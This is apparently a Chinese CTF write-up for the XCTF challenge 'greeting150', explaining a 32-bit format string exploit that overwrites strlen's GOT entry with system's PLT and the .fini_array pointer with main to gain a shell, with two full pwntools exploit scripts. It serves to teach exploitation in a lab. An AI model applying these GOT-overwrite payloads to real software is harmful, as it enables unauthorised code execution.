攻防世界格式化字符串漏洞greeting150
1.checksec+运行
32位/NX堆栈不可执行/Canary保护
注意一点:没有RELRO保护,got表完全可写
2.IDA常规操作
1.main函数
2.getnline 函数
看到以上信息可以 泄露任意地址的内存
但是........上面的看着感觉不是很对
原来是这样
出现了aaaa---->0x61616161,参数在格式化字符串第12个位置
aaaaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
注意:我们需要在前面再填充两个字符,才会确定我们输入的aaaa
同样,这样也可以实现
通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址
也就是说格式化字符串可以将任意一个即将调用的函数的got覆盖成我们想要调用函数的plt
用格式化字符串漏洞修改strlen或其他函数(能被调用且有可操纵字符串传入的函数)
objdump -R greeting150查看got表
虽然打印出了system的地址,但因为延迟绑定机制,system没有调用过,是得不到system的got表真实地址,而是plt表的地址
因此
我们可以修改strlen的GOT表内容为system的PLT表
但是但是.......
运行程序我们知道,程序没有循环
也就是说即使覆写了strlen函数的got表地址,也没有用,覆写之后就退出了,就是说发生格式化字符串漏洞后程序就结束了,调用不到getnline.
额............这样的话
想办法,让他能循环,让程序再回到main,执行strlen
补充知识:
我们都知道,main函数不是程序的真正入口,__libc_start_main函数才是程序的真正入口
__libc_start_main原型int __libc_start_main((int (*main) (int, char**, char**),int argc,char **argv,__typeof (main) init,void (*fini) (void),void (*rtld_fini) (void),void* stack_end)
程序开始时会执行一遍init_array指针数组,调用数组中每一个函数进行初始化,
结束时会执行一遍fini_array指针数组,调用数组中每一个函数进行清理操作
这样我们的机会来了.............
利用格式化字符串漏洞覆盖任意地址内存
本题我们将.fini._array的第一个指针写成start地址或者main函数地址,让程序重新执行,便实现了循环调用
但是这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。
.fini_array的4个字节为start地址,进而程序进入第二次循环,输入/bin/sh\x00,拿到shell
必要地址
main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54
修改fini_array的后两个字节0x85ED
修改strlen_got的后两字节0x8490, 和前两个字节0x804
got改成plt在内存中会映射相差一段距离, 所以不是按文件的地址仅需要修改低2位字节(其他师傅博客解释的,具体为什么2字节不是很清楚,等学完必要的基础知识应该就可以理解了)
字符串长度的限制,采用单个字节修改,%hn
from pwn import*
p=process('./greeting150')main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2)
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()
字符串与字节流不能直接相加,需要转换编码格式
修改脚本
from pwn import*
p=process('./greeting150')main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490p.recvuntil('Please tell me your name... ')
payload = b'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_array)
num = 0x804 - 0x20
k= '%' + str(num) + 'c%13$hn'
payload+= k.encode('utf-8')
num = 0x8490 - 0x804
k= '%' + str(num) + 'c%12$hn'
payload+= k.encode('utf-8')
num = 0x85ED - 0x8490
k= '%' + str(num) + 'c%14$hn'
payload+= k.encode('utf-8')
print(len(payload))p.sendline(payload)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()
最后成功打通
攻防世界格式化字符串漏洞greeting150相关推荐
- CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb
格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...
- XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)
目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...
- buuctf pwn wp(第四波)格式化字符串漏洞系列
这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...
- Linux下的格式化字符串漏洞利用姿势
[转]http://www.cnblogs.com/Ox9A82/p/5429099.html linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除 ...
- c语言格式化字符漏洞,格式化字符串漏洞题目练习
整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧. inndy_echo 保护和arch [*] '/media/psf/mypwn2/buuctf/inn ...
- BUUCTF(pwn)jarvisoj_fm --格式化字符串漏洞
简单的格式化字符串漏洞题目 32位,开启了canary和nx保护 知道以上条件就可以计算偏移了 得到偏移为11 from pwn import *r=remote('node3.buuoj.cn',2 ...
- (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用
这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...
- CTF(pwn)-格式化字符串漏洞讲解(一)
例题讲解 https://blog.csdn.net/weixin_45556441/article/details/114081864 一.基本介绍 格式化字符串漏洞在通用漏洞类型库CWE中的编号是 ...
- c++字符串输入_【pwn】什么是格式化字符串漏洞?
0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...
最新文章
- 数据安全最佳实践案例库建设项目正式启动
- odoo中的filtered_domain
- .NET Core IoT 入门指南:(三)使用 I2C 进行通信
- php进入文件目录,php文件目录操作
- 旧式计算机英语,旧式的英文怎么说
- linux apache配置_linux查看nginx、apache、php、php-fpm、mysql及配置项所在目录
- [模板]fhqTreap
- Golang实践录:利用反射reflect构建通用打印结构体接口
- Android、Java泛型扫盲
- 【转】文件各种上传,离不开的表单
- 数据结构课程设计- (二) 栈与队列(迷宫问题)
- ffmpeg bt709 to bt601
- html5给文字添加拼音,word怎么为文字添加拼音
- PCM 与WAV相互转换代码
- 使用计算机打印资料时需要安装打印机驱动,详细教您如何在计算机上安装打印机驱动程序...
- 集体照的拍摄与后期合成处理
- camera 成像原理
- RTOS 系统篇-看门狗 WatchDog 2
- Django——admin功能、注册模型类、模型管理类
- 个人开发者轻松接入支付回调